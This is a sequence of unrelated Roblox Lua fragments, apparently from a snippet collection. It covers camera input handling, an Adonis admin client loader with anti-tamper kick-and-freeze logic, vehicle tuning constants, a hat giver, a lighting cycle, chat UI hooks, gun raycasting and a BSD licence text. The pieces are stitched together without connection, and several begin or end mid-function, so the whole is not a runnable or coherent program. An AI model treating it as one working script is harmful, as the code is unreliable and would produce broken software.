self:OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel and not FFlagUserPointerActionsInPlayerScripts then -- remove with FFlagUserPointerActionsInPlayerScripts self:OnMouseWheel(input, processed) end end function BaseCamera:OnInputEnded(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Up(input, processed) end end function BaseCamera:OnPointerAction(wheel, pan, pinch, processed) if processed then return end if pan.Magnitude > 0 then local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue()) local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector self.rotateInput = self.rotateInput + rotateDelta end local zoom = self.currentSubjectDistance local zoomDelta = -(wheel + pinch) if abs(zoomDelta) > 0 then local newZoom if self.inFirstPerson and zoomDelta > 0 then newZoom = FIRST_PERSON_DISTANCE_THRESHOLD else newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) end self:SetCameraToSubjectDistance(newZoom) end end function BaseCamera:ConnectInputEvents() if FFlagUserPointerActionsInPlayerScripts then self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed) self:OnPointerAction(wheel, pan, pinch, processed) end) end self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) self:OnInputBegan(input, processed) end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) self:OnInputChanged(input, processed) end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) self:OnInputEnded(input, processed) end) self.menuOpenedConn = GuiService.MenuOpened:connect(function() self:ResetInputStates() end) self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if self.activeGamepad ~= gamepadEnum then return end self.activeGamepad = nil self:AssignActivateGamepad() end) self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if self.activeGamepad == nil then self:AssignActivateGamepad() end end) self:AssignActivateGamepad() self:UpdateMouseBehavior() end function BaseCamera:BindContextActions() self:BindGamepadInputActions() self:BindKeyboardInputActions() end function BaseCamera:AssignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if self.activeGamepad == nil then self.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < self.activeGamepad.Value then self.activeGamepad = connectedGamepads[i] end end end if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 self.activeGamepad = Enum.UserInputType.Gamepad1 end end function BaseCamera:DisconnectInputEvents() if self.inputBeganConn then self.inputBeganConn:Disconnect() self.inputBeganConn = nil end if self.inputChangedConn then self.inputChangedConn:Disconnect() self.inputChangedConn = nil end if self.inputEndedConn then self.inputEndedConn:Disconnect() self.inputEndedConn = nil end end function BaseCamera:UnbindContextActions() for i = 1, #self.boundContextActions do ContextActionService:UnbindAction(self.boundContextActions[i]) end self.boundContextActions = {} end function BaseCamera:Cleanup() if FFlagUserPointerActionsInPlayerScripts and self.pointerActionConn then self.pointerActionConn:Disconnect() self.pointerActionConn = nil end if self.menuOpenedConn then self.menuOpenedConn:Disconnect() self.menuOpenedConn = nil end if self.mouseLockToggleConn then self.mouseLockToggleConn:Disconnect() self.mouseLockToggleConn = nil end if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end if self.touchActivateConn then self.touchActivateConn:Disconnect() self.touchActivateConn = nil end self.turningLeft = false self.turningRight = false self.lastCameraTransform = nil self.lastSubjectCFrame = nil self.userPanningTheCamera = false self.rotateInput = Vector2.new() self.gamepadPanningCamera = Vector2.new(0,0) -- Reset input states self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.isRightMouseDown = false self.isMiddleMouseDown = false self.fingerTouches = {} self.dynamicTouchInput = nil self.numUnsunkTouches = 0 self.startingDiff = nil self.pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end
--
local Ang = CFrame.Angles local aTan = math.atan
--// Adonis Client Loader (Non-ReplicatedFirst Version)
local DebugMode = false; local wait = wait; local time = time; local pcall = pcall; local xpcall = xpcall; local setfenv = setfenv; local tostring = tostring; local players = game:GetService("Players"); local player = players.LocalPlayer; local folder = script.Parent; local container = folder.Parent; local Kick = player.Kick; local module = folder:WaitForChild("Client"); local target = player; local realPrint = print; local realWarn = warn; local start = time(); local function print(...) --realPrint(...) end local function warn(str) if DebugMode or player.UserId == 1237666 then realWarn("ACLI: "..tostring(str)) end end local function Kill(info) if DebugMode then warn(info) return end pcall(function() Kick(player, info) end) wait(1) pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end) end local function Locked(obj) return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end) end local function loadingTime() warn("LoadingTime Called") setfenv(1,{}) warn(tostring(time() - start)) end local function callCheck(child) warn("CallCheck: "..tostring(child)) if Locked(child) then warn("Child locked?") Kill("ACLI: Locked") else warn("Child not locked") xpcall(function() return child[{}] end, function() if getfenv(1) ~= getfenv(2) then Kill("ACLI: Error") end end) end end local function doPcall(func, ...) local ran,ret = pcall(func, ...) if ran then return ran,ret else warn(tostring(ret)) Kill("ACLI: Error\n"..tostring(ret)) return ran,ret end end if module and module:IsA("ModuleScript") then warn("Loading Folder...") local nameVal local origName local depsFolder local clientModule warn("Waiting for Client & Special") nameVal = folder:WaitForChild("Special", 30) warn("Checking Client & Special") --callCheck(nameVal) --callCheck(clientModule) warn("Getting origName") origName = (nameVal and nameVal.Value) or folder.Name warn("Got name: "..tostring(origName)) warn("Removing old client folder...") local starterPlayer = game:GetService("StarterPlayer"); local playerScripts = starterPlayer:FindFirstChildOfClass("StarterPlayerScripts"); local found = playerScripts:FindFirstChild(folder.Name); warn("FOUND?! ".. tostring(found)); warn("LOOKED FOR : ".. tostring(folder.Name)) if found then print("REMOVED!") found.Parent = nil --found:Destroy(); end --// Sometimes we load a little too fast and generate a warning from Roblox so we need to introduce some (minor) artificial loading lag... warn("Changing child parent...") folder.Name = ""; wait(0.01); folder.Parent = nil; --// We cannot do this assynchronously or it will disconnect events that manage to connect before it changes parent to nil... warn("Destroying parent...") print("Debug: Loading the client?") local meta = require(module) warn("Got metatable: "..tostring(meta)) if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then local ran,ret = pcall(meta,{ Module = module, Start = start, Loader = script, Name = origName, Folder = folder; LoadingTime = loadingTime, CallCheck = callCheck, Kill = Kill }) warn("Got return: "..tostring(ret)) if ret ~= "SUCCESS" then realWarn(ret) Kill("ACLI: Loading Error [Bad Module Return]") else print("Debug: The client was found and loaded?") warn("Client Loaded") if container and container:IsA("ScreenGui") then container.Parent = nil --container:Destroy(); end end end end
--by Repilee 4/29/18-- --(resumed as of 6/23/18)--
local car = script.Parent.Parent.Car.Value local mouse = game:GetService("Players").LocalPlayer:GetMouse()
--------END RIGHT DOOR --------
game.Workspace.post1.Light.BrickColor = BrickColor.new(21) game.Workspace.post2.Light.BrickColor = BrickColor.new(21) end wait(0.15) if game.Workspace.DoorFlashing.Value == true then
--[[Weight and CG]]
Tune.Weight = 8000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 8 , --[[Height]] 20 , --[[Length]] 25 } Tune.WeightDist = 30 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = 2 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "DJ" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2, 2, 2) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, 0.28, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
local rColorList = {000,000,000,000,000,255,255,255,255,255,255,255,255,255,255,255,255,255,255,000,000,000,000,000} local gColorList = {165,165,165,165,165,210,215,230,255,255,255,255,255,255,255,245,230,215,255,165,165,165,165,165} local bColorList = {255,255,255,255,255,100,110,135,255,255,255,255,255,255,255,215,135,110,255,255,255,255,255,255} local r local g local b while true do --time changer mam = game.Lighting:GetMinutesAfterMidnight() + timeShift game.Lighting:SetMinutesAfterMidnight(mam) mam = mam/60 --brightness game.Lighting.Brightness = amplitudeB*math.cos(mam*(pi/12)+pi)+offsetB --outdoor ambient var=amplitudeO*math.cos(mam*(pi/12)+pi)+offsetO game.Lighting.OutdoorAmbient = Color3.fromRGB(var,var,var) --shadow softness game.Lighting.ShadowSoftness = amplitudeS*math.cos(mam*(pi/6))+offsetS --color shift top pointer= math.clamp(math.ceil(mam), 1, 24) r=((rColorList[pointer%24+1]-rColorList[pointer])*(mam-pointer+1))+rColorList[pointer] g=((gColorList[pointer%24+1]-gColorList[pointer])*(mam-pointer+1))+gColorList[pointer] b=((bColorList[pointer%24+1]-bColorList[pointer])*(mam-pointer+1))+bColorList[pointer] game.Lighting.ColorShift_Top=Color3.fromRGB(r,g,b) --tick wait(waitTime) end
--local default = lighting.Technology
local toggle = false local button = script.Parent
--[[Rear]]
-- Tune.RTireProfile = 1 -- Tire profile, aggressive or smooth Tune.RProfileHeight = .45 -- Profile height, conforming to tire Tune.RTireCompound = 3 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear Tune.RTireFriction = 1.1 -- Your tire's friction in the best conditions.
--[[START]]
script.Parent:WaitForChild("Bike") script.Parent:WaitForChild("IsOn") script.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Values")
-- Set player control
function UserInputController:setPlayerControlsEnabled(enabled: boolean) local playerControls = self:_getPlayerControls() if playerControls then if enabled then -- Enable movement playerControls:Enable() else -- Disable movement playerControls:Disable() end end end
--Tune--
local StockHP = 1000 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve) local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos) local TurboSize = 35 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo) local CompressionRatio = 7/1 --Compression of your car (look up the compression of the engine you are running) local AntiLag = true --if true basically keeps the turbo spooled up so less lag local BOV_Loudness = 6 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 0.8 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
-- Drive Input Loop --
while true do getInputValues(MobileHandbrake) local currentVel = Chassis.GetAverageVelocity() -- Taking care of steering -- For debugging, calculating steering paramters with SteeringCalculations script -- local steer = script.Parent.SteeringValue.Value -- steering.TargetPosition = -steer * steerMax -- Steering is more sensitive at small value local steer = script.Steering.Value Chassis.UpdateSteering(steer, currentVel) -- Taking care of throttling local throttle = script.Throttle.Value script.AngularMotorVelocity.Value = currentVel script.ForwardVelocity.Value = driverSeat.CFrame.LookVector:Dot( driverSeat.Velocity ) Chassis.UpdateThrottle(currentVel, throttle) -- Taking care of handbrake if script.HandBrake.Value > 0 then Chassis.EnableHandbrake() steer = script.Steering.Value --TODO: Fix handbrake steering end
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////////////////////////////////////////// Code to hook client UI up to server events --////////////////////////////////////////////////////////////////////////////////////////////
function DoChatBarFocus() if (not ChatWindow:GetCoreGuiEnabled()) then return end if (not ChatBar:GetEnabled()) then return end if (not ChatBar:IsFocused() and ChatBar:GetVisible()) then moduleApiTable:SetVisible(true) InstantFadeIn() ChatBar:CaptureFocus() moduleApiTable.ChatBarFocusChanged:fire(true) end end chatBarFocusChanged.Event:connect(function(focused) moduleApiTable.ChatBarFocusChanged:fire(focused) end) function DoSwitchCurrentChannel(targetChannel) if (ChatWindow:GetChannel(targetChannel)) then ChatWindow:SwitchCurrentChannel(targetChannel) end end function SendMessageToSelfInTargetChannel(message, channelName, extraData) local channelObj = ChatWindow:GetChannel(channelName) if (channelObj) then local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channelName, IsFiltered = true, MessageLength = string.len(message), Message = trimTrailingSpaces(message), MessageType = ChatConstants.MessageTypeSystem, Time = os.time(), ExtraData = extraData, } channelObj:AddMessageToChannel(messageData) end end function chatBarFocused() if (not mouseIsInWindow) then DoBackgroundFadeIn() if (textIsFaded) then DoTextFadeIn() end end chatBarFocusChanged:Fire(true) end
--this is a little bad, but shouldn't really be part of the 'class' of the gun
local Intangibles = {shock=1, bolt=1, bullet=1, plasma=1, effect=1, laser=1, handle=1, effects=1, flash=1,} function CheckIntangible(hitObj) print(hitObj.Name) return Intangibles[(string.lower(hitObj.Name))] or hitObj.Transparency == 1 end function CastRay(startpos, vec, length, ignore, delayifhit) if length > 999 then length = 999 end hit, endpos2 = game.Workspace:FindPartOnRay(Ray.new(startpos, vec * length), ignore) if hit ~= nil then if CheckIntangible(hit) then if delayifhit then wait() end hit, endpos2 = CastRay(endpos2 + (vec * .01), vec, length - ((startpos - endpos2).magnitude), ignore, delayifhit) end end return hit, endpos2 end function DrawBeam(beamstart, beamend, clr, fadedelay, templatePart) local dis = 2 --(beamstart - beamend).magnitude local tlaser=templatePart:Clone() tlaser.BrickColor = clr tlaser.Size = Vector3.new(.12, .12, dis + .2) tlaser.CFrame = CFrame.new((beamend+beamstart)/2, beamstart) * CFrame.new(0, 0, - dis/2) tlaser.Parent = game.Workspace game.Debris:AddItem(tlaser, fadedelay) end
--[[ Constructs and returns objects which can be used to model independent reactive state. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local useDependency = require(Package.Dependencies.useDependency) local initDependency = require(Package.Dependencies.initDependency) local updateAll = require(Package.Dependencies.updateAll) local class = {} local CLASS_METATABLE = {__index = class} local WEAK_KEYS_METATABLE = {__mode = "k"}
--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]
-- function OrbitalCamera:GetCameraToSubjectDistance() return self.curDistance end function OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance) local player = PlayersService.LocalPlayer if player then self.currentSubjectDistance = math.clamp(desiredSubjectDistance, self.minDistance, self.maxDistance) -- OrbitalCamera is not allowed to go into the first-person range self.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD) end self.inFirstPerson = false self:UpdateMouseBehavior() return self.currentSubjectDistance end function OrbitalCamera:CalculateNewLookVector(suppliedLookVector: Vector3, xyRotateVector: Vector2): Vector3 local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle: number = math.asin(currLookVector.Y) local yTheta: number = math.clamp(xyRotateVector.Y, currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG)) local constrainedRotateInput: Vector2 = Vector2.new(xyRotateVector.X, yTheta) local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookVector: Vector3 = (CFrame.Angles(0, -constrainedRotateInput.X, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.Y,0,0)).LookVector return newLookVector end
--[[ Disclaimer for Robert Penner's Easing Equations license: TERMS OF USE - EASING EQUATIONS Open source under the BSD License. Copyright © 2001 Robert Penner All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ]]